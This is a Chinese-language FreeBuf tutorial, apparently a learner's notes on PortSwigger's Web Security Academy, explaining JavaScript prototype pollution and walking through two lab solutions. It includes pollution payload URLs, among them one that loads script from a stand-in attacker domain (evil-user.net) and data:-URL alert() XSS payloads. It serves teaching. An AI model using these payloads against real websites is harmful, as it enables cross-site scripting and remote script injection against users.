freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

高级漏洞篇之原型污染专题
2023-08-20 00:19:46

今天也是非常硬核的专题呢,原型污染,东西比较多!

声明

该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。
注:本篇为Freebuf首发

本系列介绍

PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。

梨子有话说

梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。

高级漏洞篇介绍

相对于服务器端漏洞篇和客户端漏洞篇,高级漏洞篇需要更深入的知识以及更复杂的利用手段,该篇也是梨子的全程学习记录,力求把漏洞原理及利用等讲的通俗易懂。

什么是原型污染?

原型污染是一种JavaScript漏洞,攻击者可以利用它向全局对象原型添加任意属性,然后这些属性可能会被用户定义的对象继承。尽管原型污染作为一个独立的漏洞通常无法利用,但它可以让攻击者控制原本无法访问的对象的属性。如果应用程序随后以不安全的方式处理攻击者控制的属性,则这可能与其他漏洞相关联。在客户端JavaScript中,这通常会导致DOM XSS,而服务器端原型污染甚至会导致远程代码执行。

JavaScript原型与继承

JavaScript中的对象是什么?

JavaScript对象本质上只是一组称为“属性”的键值对。例如,以下对象可以代表一个用户:

const user =  {
    username: "natsuk0",
    userId: 01234,
    isAdmin: false
}

我们可以使用点表示法或括号表示法来访问对象的属性,以引用它们各自的键:

user.username     // "natsuk0"
user['userId']    // 01234

除了数据,属性还可能包含可执行函数。在这种情况下,函数被称为“方法”。

const user =  {
    username: "natsuk0",
    userId: 01234,
    exampleMethod: function(){
        // 干点什么
    }
}

上面的示例是一个“字面意义上的对象”,这意味着它是使用花括号语法创建的,以显式声明其属性及其初始值。但是,重要的是要了解JavaScript中的几乎所有内容都是底层的对象。在这些材料中,术语“对象”指的是所有实体,而不仅仅是字面意义上的对象。

什么是JavaScript中的原型?

JavaScript中的每个对象都链接到某种类型的另一个对象,称为它的原型。默认情况下,JavaScript会自动为新对象分配其内置原型之一。例如,字符串会自动分配内置的String.prototype。我们可以在下面看到这些全局原型的更多示例:

let myObject = {};
Object.getPrototypeOf(myObject);    // Object.prototype

let myString = "";
Object.getPrototypeOf(myString);    // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray);	    // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber);    // Number.prototype

对象自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使开发人员能够创建可以重用现有对象的属性和方法的新对象。
内置原型为处理基本数据类型提供了有用的属性和方法。例如,String.prototype对象有一个toLowerCase()方法。因此,所有字符串都自动有一个随时可用的方法来将它们转换为小写。这使开发人员不必手动将此行为添加到他们创建的每个新字符串中。

对象继承在JavaScript中是如何运行的?

每当我们引用对象的属性时,JavaScript引擎首先会尝试直接在对象本身上访问它。如果对象没有匹配的属性,JavaScript引擎会在对象的原型上寻找它。给定以下对象,这使我们能够引用myObject.propertyA,例如:
image.png
我们可以使用浏览器控制台来查看此行为的实际效果。首先,创建一个完全空的对象:\

let myObject = {};

接下来,输入myObject,后跟一个点。请注意,控制台会提示我们从属性和方法列表中进行选择:
image.png
即使没有为对象本身定义属性或方法,它也从内置的Object.prototype继承了一些属性或方法。

原型链

请注意,一个对象的原型只是另一个对象,它也应该有自己的原型,依此类推。由于JavaScript中的几乎所有内容都是底层的对象,因此这条链最终会返回到顶层的Object.prototype,其原型只是null。
image.png
至关重要的是,对象不仅从它们的直接原型继承属性,而且从原型链中位于它们之上的所有对象继承属性。在上面的示例中,这意味着用户名对象可以访问String.prototype和Object.prototype的属性和方法。

使用__proto__访问对象的原型

每个对象都有一个特殊的属性,我们可以使用它来访问其原型。虽然这没有正式的标准化名称,但__proto__是大多数浏览器使用的事实上的标准。如果熟悉面向对象的语言,那么这个属性既可以用作对象原型的getter也可以用作setter。这意味着我们可以使用它来读取原型及其属性,甚至可以在必要时重新分配它们。
与任何属性一样,我们可以使用括号或点表示法访问__proto__:

username.__proto__
username['__proto__']

我们甚至可以将对__proto__的引用链接到原型链上:

username.__proto__                        // String.prototype
username.__proto__.__proto__              // Object.prototype
username.__proto__.__proto__.__proto__    // null

修改原型

虽然这通常被认为是不好的做法,但可以像修改任何其他对象一样修改JavaScript的内置原型。这意味着开发人员可以自定义或覆盖内置方法的行为,甚至可以添加新方法来执行有用的操作。
例如,现代JavaScript为字符串提供了trim()方法,它使我们能够轻松删除任何前后端的空格。在引入此内置方法之前,开发人员有时会通过执行以下操作将他们自己的此行为的自定义实现添加到String.prototype对象:

String.prototype.removeWhitespace = function(){
    // 删除前后端的空格
}

由于原型继承,所有字符串都可以访问此方法:

let searchTerm = "  example ";
searchTerm.removeWhitespace();    // "example"

原型污染漏洞是如何产生的?

当JavaScript函数递归地将包含用户可控属性的对象合并到现有对象中时,通常会出现原型污染漏洞,而无需先清理键。这可能允许攻击者注入具有__proto__等键的属性,以及任意嵌套属性。
由于__proto__在JavaScript上下文中的特殊含义,合并操作可能会将嵌套属性分配给对象的原型而不是目标对象本身。因此,攻击者可以使用包含有害值的属性污染原型,这些属性随后可能会被应用程序以危险的方式使用。
污染任何原型对象都是可能的,但这最常发生在内置的全局Object.prototype中。
原型污染的成功利用需要以下关键组成部分:\

  • 原型污染source - 这是使我们能够用任意属性毒化原型对象的任何输入。

  • sink - 一个JavaScript函数或DOM元素,可以执行任意代码。

  • 可利用的利用链 - 这是未经适当过滤或清理而传递到sink的任何属性。

原型污染source

原型污染source是任何用户可控的输入,使我们能够向原型对象添加任意属性。最常见的来源如下:

  • 通过查询或片段字符串(哈希)的URL

  • 基于JSON的输入

  • Web消息

通过URL的原型污染

考虑以下URL,其中包含攻击者构造的查询字符串:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

将查询字符串分解为键值对时,URL解析器可能会将__proto__解释为任意字符串。但是让我们看看如果这些键和值随后作为属性合并到现有对象中会发生什么。
我们可能认为__proto__属性及其嵌套的evilProperty将被添加到目标对象中,如下所示:

{
    existingProperty1: 'natsuk0',
    existingProperty2: 'natsuk00',
    __proto__: {
        evilProperty: 'payload'
    }
}

然而,事实并非如此。在某些时候,递归合并操作可能会使用等效于以下语句的语句分配evilProperty的值:

targetObject.__proto__.evilProperty = 'payload';

在此分配期间,JavaScript引擎将__proto__视为原型的getter。结果,evilProperty被分配给返回的原型对象而不是目标对象本身。假设目标对象使用默认的Object.prototype,JavaScript运行时中的所有对象现在都将继承evilProperty,除非它们已经拥有自己的具有匹配键的属性。
实际上,注入一个名为evilProperty的属性不太可能产生任何效果。但是,攻击者可以使用相同的技术污染带有应用程序或任何导入的库使用的属性的原型。

通过JSON输入的原型污染

用户可控制的对象通常使用JSON.parse()方法从JSON字符串派生。有趣的是,JSON.parse()还将JSON对象中的任何键视为任意字符串,包括__proto__之类的东西。这为原型污染提供了另一个潜在载体。
假设攻击者通过网络消息注入以下恶意JSON:

{
    "__proto__": {
        "evilProperty": "payload"
    }
}

如果通过JSON.parse()方法将其转换为JavaScript对象,则生成的对象实际上将具有键为__proto__的属性:

const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

objectLiteral.hasOwnProperty('__proto__');     // false
objectFromJson.hasOwnProperty('__proto__');    // true

如果通过JSON.parse()创建的对象随后在没有适当的键清理的情况下合并到现有对象中,这也会导致分配期间的原型污染,正如我们在上面基于URL的示例中看到的那样。

原型污染sink

原型污染sink本质上只是一个JavaScript函数或DOM元素,我们可以通过原型污染访问它们,这使我们能够执行任意JavaScript或系统命令。我们在有关DOM XSS的专题中广泛介绍了一些客户端sink。
由于原型污染让我们可以控制原本无法访问的属性,这可能使我们能够访问目标应用程序中的许多其他sink。不熟悉原型污染的开发人员可能会错误地认为这些属性不是用户可控的,这意味着可能只进行了最少的过滤或清理。

原型污染利用链

利用链提供了一种将原型污染漏洞转化为实际漏洞的方法。这是任何属性:

  • 由应用程序以不安全的方式使用,例如在没有适当过滤或清理的情况下将其传递到sink。

  • 攻击者可通过原型污染进行控制。换句话说,该对象必须能够继承攻击者添加到原型的属性的恶意版本。

如果属性直接在对象本身上定义,则它不能是利用链。在这种情况下,对象自己的属性版本优先于我们能够添加到原型的任何恶意版本。稳健的网站还可以将对象的原型显式设置为 null,以确保它根本不继承任何属性。

原型污染利用链示例

许多JavaScript库接受一个对象,开发人员可以使用该对象来设置不同的配置选项。库代码检查开发人员是否已明确向该对象添加某些属性,如果是,则相应地调整配置。如果表示特定选项的属性不存在,则通常会使用预定义的默认选项。一个简化的例子可能看起来像这样:

let transport_url = config.transport_url || defaults.transport_url;

现在假设库代码使用此transport_url添加对页面的脚本引用:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

如果网站的开发人员尚未在其配置对象上设置transport_url属性,则这是一个潜在的利用链。在攻击者能够使用他们自己的transport_url属性污染全局Object.prototype的情况下,这将由配置对象继承,因此,将此脚本的src设置为攻击者选择的域。
例如,如果可以通过查询参数污染原型,攻击者只需诱使受害者访问特制的URL,使他们的浏览器从攻击者控制的域中导入恶意JavaScript文件:

https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net

通过提供data:URL,攻击者还可以直接在查询字符串中嵌入XSS payload,如下所示:

https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//

此示例中的结尾的//只是注释掉硬编码的/example.js后缀。

客户端原型污染

手动查找客户端原型污染source

手动查找原型污染source在很大程度上是一个反复试验的过程。简而言之,我们需要尝试将任意属性添加到Object.prototype的不同方法,直到找到有效的source。
在测试客户端漏洞时,这涉及以下高级步骤:

  1. 尝试通过查询字符串、URL片段和任何JSON输入注入任意属性。例如:

vulnerable-website.com/?__proto__[natsuk0]=natsuk00
  1. 在我们的浏览器控制台中,检查Object.prototype看看是否已经成功地用任意属性污染了它:

Object.prototype.natsuk0
// “bar”表示已经成功污染了原型
// undefined表示攻击没有成功
  1. 如果该属性未添加到原型中,请尝试使用不同的技术,例如切换到点表示法而不是括号表示法,反之亦然:

vulnerable-website.com/?__proto__.natsuk0=natsuk00
  1. 对每个潜在source重复此过程。

使用DOM Invader查找客户端原型污染source

如我们所见,手动查找原型污染source可能是一个相当乏味的过程。相反,我们建议使用DOM Invader,它预装在Burp的内置浏览器中。哇,burp怎么总是给梨子提供惊喜啊,好爱!!!DOM Invader能够在浏览时自动测试原型污染source,这可以为我们节省大量时间和精力。有关详细信息,请查看DOM Invader文档

手动查找客户端原型污染利用链

一旦确定了允许我们向全局Object.prototype添加任意属性的source,下一步就是找到一个合适的利用链,就可以使用它来制作漏洞。在实践中,我们建议使用DOM Invader来执行此操作,但查看手动过程很有用,因为它可能有助于巩固对漏洞的理解。\

  1. 查看源代码并确定应用程序或它导入的任何库使用的任何属性。

  2. 在Burp中,启用响应拦截(Proxy > Options > Intercept server responses)并拦截包含要测试的JavaScript的响应。

  3. 在脚本的开头添加debugger语句,然后放行所有剩余的请求和响应。

  4. 在Burp的浏览器中,转到加载目标脚本的页面。debugger语句暂停脚本的执行。

  5. 当脚本仍处于暂停状态时,切换到控制台并输入以下命令,将YOUR-PROPERTY替换为我们认为是潜在利用链的属性之一:

Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})

该属性被添加到全局Object.prototype中,浏览器将在访问时将堆栈跟踪记录到控制台。
6. 按下按钮继续执行脚本并监视控制台。如果出现堆栈跟踪,则确认该属性已在应用程序内的某处访问过。
7. 展开堆栈跟踪并使用提供的链接跳转到正在读取属性的代码行。
8. 使用浏览器的调试器控件,逐步执行每个执行阶段,以查看属性是否已传递到sink,例如innerHTML或eval()。
9. 对我们认为是潜在利用链的任何属性重复此过程。

使用DOM Invader查找客户端原型污染利用链

从上面的步骤可以看出,在野外手动识别原型污染利用链可能是一项艰巨的任务。鉴于网站通常依赖于许多第三方库,这可能涉及阅读数千行简化或混淆的代码,这使事情变得更加棘手。DOM Invader可以代替我们自动扫描利用链,甚至可以在某些情况下生成DOM XSS POC。这意味着我们可以在几秒钟而不是几小时内找到真实网站上的漏洞。有关详细信息,请查看DOM Invader文档

配套靶场1:通过客户端原型污染的DOM XSS

这道题就是想让我们污染对象原型Object.prototype并且找到利用链触发alert()。首先我们在url中加个查询字符串。

/?__proto__[natsuk0]=natsuk00

然后我们f12切到concole,输入Object.prototype,发现有一个值为natsuk00的natsuk0属性,说明我们已经成功找到一个原型污染source。
image.png
然后f12切到sources标签,从加载的js里面找dom xss sink,然后发现在searchLogger.js中,如果config对象有transport_url属性,就动态附加一个脚本到DOM中。
image.png
但是我们发现config对象默认没有transport_url属性,这就为我们控制src的<script>元素提供了一个利用链。所以我们就这样构造查询字符串:

/?__proto__[transport_url]=data:,alert(1);

发现经过原型污染利用链以后成功触发alert(1)。解题成功!
image.png
这里burp还提供了一种利用内置浏览器的DOM Invader寻找利用链的方式。我们在内置浏览器中找到burp插件,然后打开这两个开关。
image.png
image.png
然后f12,跳到DOM Invader,然后刷新页面。
image.png
这么好用!一下子就扫出来了,然后点击那个Scan for gadgets,它会重起一个标签,扫完了再打开f12就能看到利用点了。
image.png
太方便了吧!然后点击Exploit,它会自动测试弹窗!burp现在已经这么好用了吗!赶紧用起来好吗。

配套靶场2:通过替代原型污染向量的DOM XSS

我们还是像上一道题一样测试,但是发现属性并未添加到对象原型中,于是我们可以试试点方法:

/?__proto__.natsuk0=natsuk00

发现居然成功了。然后我们下一步就是找利用链,发现在这里。
image.png
manager.sequence还是不存在默认值的,所以我们就这样利用。\

/?__proto__.sequence=alert(1)-

发现可成功触发,加一个减号是因为要闭合。解题成功!
image.png
用DOM Invader也行,就是太方便了,学不到东西,哈哈哈哈。

通过构造函数的原型污染

到目前为止,我们已经专门研究了如何通过特殊的__proto__访问器属性获取对原型对象的引用。由于这是原型污染的经典技术,因此一种常见的防御方法是在合并用户控制对象之前从用户控制的对象中剥离具有键__proto__的任何属性。这种方法是有缺陷的,因为有其他方法可以在不依赖__proto__字符串的情况下引用Object.prototype。
除非其原型设置为null,否则每个JavaScript对象都有一个构造函数属性,该属性包含对用于创建它的构造函数的引用。例如,我们可以使用文字语法或通过显式调用Object()构造函数来创建新对象,如下所示:

let myObjectLiteral = {};
let myObject = new Object();

然后,我们可以通过内置的构造函数属性引用Object()构造函数:

myObjectLiteral.constructor            // function Object(){...}
myObject.constructor                   // function Object(){...}

请记住,函数也是对象。每个构造函数都有一个原型属性,它指向即将分配给由此构造函数创建的任何对象的原型。因此,我们还可以访问任何对象的原型,如下所示:

myObject.constructor.prototype        // Object.prototype
myString.constructor.prototype        // String.prototype
myArray.constructor.prototype         // Array.prototype

由于myObject.constructor.prototype等同于myObject.proto,这为原型污染提供了替代向量。

# burpsuite # web安全 # 原型污染
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录